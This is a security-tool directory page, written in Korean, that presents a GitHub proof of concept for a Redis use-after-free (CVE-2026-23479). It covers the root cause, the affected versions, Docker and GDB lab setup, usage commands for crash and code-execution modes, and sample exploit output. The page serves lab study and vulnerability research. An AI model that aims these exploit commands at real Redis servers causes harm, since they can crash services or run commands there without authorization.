Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — GDB 지원 익스플로잇을 사용한 개념 증명(교육용/실습용 전용) | Kitploit
도구/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Vulnerability AnalysisExploitationDebuggersLearning & EducationDatabase SecurityBinary ExploitationLabs & Practice
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GDB 지원 익스플로잇을 사용한 개념 증명(교육용/실습용 전용)

저장소 보기
16일 전아직 검토되지 않음

🔥 CVE-2026-23479 – Redis UAF 개념 증명(PoC)

License Python Docker CVE PoC

Redis unblockClientOnKey()의 Use-After-Free로 인한 원격 코드 실행 취약점
GDB를 활용한 익스플로잇 개념 증명(교육/연구실 전용)


📖 개요

CVE-2026-23479는 Redis 7.2.0부터 8.6.2까지의 버전에서 발생하는 치명적인 Use‑After‑Free(UAF) 취약점입니다.
이 버그는 unblockClientOnKey()가 반환 값을 확인하지 않은 채 processCommandAndResetClient()를 호출하는 데서 비롯됩니다.
해당 호출 도중 클라이언트가 해제되면(예: eviction으로 인해) 호출자는 댕글링 포인터를 계속 조작하게 되어 → UAF가 발생합니다.
공격자가 해제(free) 이후 힙(heap)을 조작할 수 있다면 임의 코드 실행까지 도달할 수 있습니다.

이 저장소는 다음을 수행하는 GDB 기반 PoC를 제공합니다:

  • 정확한 취약 코드 경로를 트리거
  • 의도적으로 크래시(freeClient() 호출)를 유발하여 UAF를 증명
  • 동일한 지점에 system() 호출을 주입하여 임의 명령 실행을 시연

⚠️ 중요: 이것은 무기화된(weaponised) 익스플로잇이 아닙니다. 권한이 있는 Docker 컨테이너 내부에서 GDB를 사용하여 실제 공격자가 UAF를 성공적으로 악용한 뒤 달성할 수 있는 상황을 모의합니다.
자신의 연구실 또는 명시적 테스트 권한이 있는 시스템에서만 사용하세요.


✨ 기능

  • 🧪 4가지 작동 모드 – crash, gdb, rce, full
  • 🐳 Docker 기반 – 호스트에 취약한 Redis를 설치할 필요 없음
  • 🔍 자동 버전 감지 – 대상이 영향받는 버전 범위에 속하는지 확인
  • 🧹 자체 정리(self‑cleaning) – 각 실행 전에 유휴(stale) GDB 세션 종료
  • 🎯 유연한 컨테이너 이름 – --container로 원하는 컨테이너 지정
  • 📦 단일 Python 파일 – 표준 라이브러리 외 추가 의존성 없음

🧠 작동 방식

  1. 대상 클라이언트 차단 – XREAD BLOCK 명령으로 클라이언트가 스트림 데이터를 기다리게 합니다.
  2. GDB 연결 – GDB가 컨테이너 내부의 Redis 프로세스(pid 1)에 연결됩니다.
  3. processCommandAndResetClient에 중단점 설정 – 차단된 클라이언트가 다시 처리될 때 호출되는 함수입니다.
  4. 차단 해제 트리거 – 동일한 스트림에 XADD를 실행하여 대기 중인 클라이언트를 깨웁니다.
  5. 중단점 도달 시:
    • gdb 모드: freeClient($rdi) 호출 → 의도적으로 SIGSEGV 유발 → UAF 증명.
    • rce 모드: system("your command") 호출 → Redis 사용자(기본값 root) 권한으로 임의 셸 명령 실행.
  6. 검증 – 스크립트가 예상된 증명 파일의 존재(RCE) 또는 Redis 크래시 여부(UAF)를 확인합니다.

중단점은 차단된 클라이언트가 해제(unblock)될 때마다 발생하므로, UAF가 포함된 동일한 코드 경로에서 코드 실행도 가능하다는 것을 보여줍니다.


📋 영향받는 버전

브랜치취약 버전 범위
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.6

스크립트는 Redis 버전을 자동으로 파싱하여 취약한지 여부를 보고합니다.


🐳 사전 요구사항

  • Docker 설치 및 실행 중
  • Python 3.8+ (표준 라이브러리만 사용)
  • apt를 사용하는 Redis 8.6.2 Docker 이미지(예: 공식 redis:8.6.2)
  • 컨테이너는 --privileged 옵션으로 생성되어야 함(ptrace에 필요)

⚙️ 설정

1. 저장소 클론

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. 취약한 Redis 컨테이너 시작

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. 컨테이너 내부에 GDB 설치

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. 확인

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # PONG이 반환되어야 함

🚀 사용법

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

모드


옵션


📚 단계별 예제

참고: 모든 명령은 호스트 머신에서 실행하며, Docker 컨테이너 내부가 아닙니다.

1. GDB를 통한 UAF 증명

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

예상 출력(일부)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis는 세그멘테이션 오류 이후 크래시합니다.

컨테이너를 다시 시작합니다:

root@kitploit:~
docker start redis-vuln-local

2. 원격 코드 실행(RCE) 달성

깨끗한 상태를 위해 Redis를 재시작합니다:

root@kitploit:~
docker restart redis-vuln-local

익스플로잇 실행:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

증명 파일 확인:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

성공하면 파일이 존재하며, 다음이 Redis 컨테이너 내부에서 실행되었음을 증명합니다:

root@kitploit:~
system("touch /tmp/pwned");

3. GDB 없이 UAF 트리거(메모리 압박)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Redis가 예기치 않게 종료되면(컨테이너가 더 이상 실행 중이 아님) UAF가 트리거된 것으로 볼 수 있습니다.

다음과 같이 다시 시작합니다:

root@kitploit:~
docker start redis-vuln-local

4. 전체 테스트 실행

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

이 모드는:

  1. 메모리 압박 크래시를 시도합니다.
  2. Redis가 살아남으면 GDB 기반 방식으로 폴백합니다.

📸 샘플 출력(RCE 모드)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 원본 스크립트에서 변경된 사항

원본 PoC는 env-redis-vuln-1이라는 컨테이너 이름이 하드코딩되어 있었고, 최신 Python 버전에서 실행할 때 몇 가지 문제가 있었습니다.

업데이트된 버전은 다음과 같은 개선 사항을 도입했습니다:


🧹 정리

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ 면책 조항

이 도구는 오로지 교육 목적, 인가된 보안 연구, 그리고 소유하고 있거나 명시적 평가 권한이 있는 시스템 테스트를 위해서만 제공됩니다.

저자는 승인되지 않았거나 악의적인 사용을 묵인하거나 장려하지 않습니다.

프로덕션 또는 제3자 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.


📚 참고 자료

  • CVE-2026-23479 – NVD 세부 정보
  • Redis 보안
  • Redis GitHub 저장소

보안 커뮤니티를 위해 ❤️로 제작되었습니다.

윤리적으로, 그리고 안전하게 행동하세요.

도구 다운로드
8.6.0 – 8.6.2
모드설명
crash메모리 압박을 통해 UAF 트리거 시도(GDB 불필요). Redis가 크래시할 수 있지만 보장되지는 않음.
gdbGDB를 연결하고 중단점에서 freeClient()를 호출 → SIGSEGV 강제 발생(UAF 증명).
rceGDB를 연결하고 중단점에서 system(cmd)를 호출 → 컨테이너 내부에서 셸 명령 실행.
full먼저 crash를 실행하고, Redis가 크래시하지 않으면 gdb로 폴백.
인자기본값설명
target(필수)Redis 서버의 IP 주소
-p, --port6379Redis 포트
-m, --modefullcrash, gdb, rce, full 중 하나
--containerenv-redis-vuln-1Docker 컨테이너 이름
--cmdid > /tmp/pwned_by_cverce 모드에서 실행할 명령
문제수정
하드코딩된 컨테이너 이름--container 인자를 추가하고 모든 함수에 전달하도록 수정.
GDB 스크립트의 commands 블록 안에 file 명령이 있었음GDB가 심볼을 올바르게 로드하도록 attach 앞으로 file /usr/local/bin/redis-server를 이동.
subprocess.run()에서 capture_output=True와 stderr=...를 동시에 사용stdout=subprocess.DEVNULL 및 stderr=subprocess.DEVNULL로 대체.
유휴(stale) GDB 프로세스로 인한 ptrace: Operation not permitted 오류trigger_uaf_gdb()와 trigger_rce()에서 GDB 실행 전에 pkill -9 gdb 추가.
GDB가 조용히 실패할 때 피드백 없음GDB 출력에 대한 디버그 로깅 추가 및 증명 파일 탐지 개선.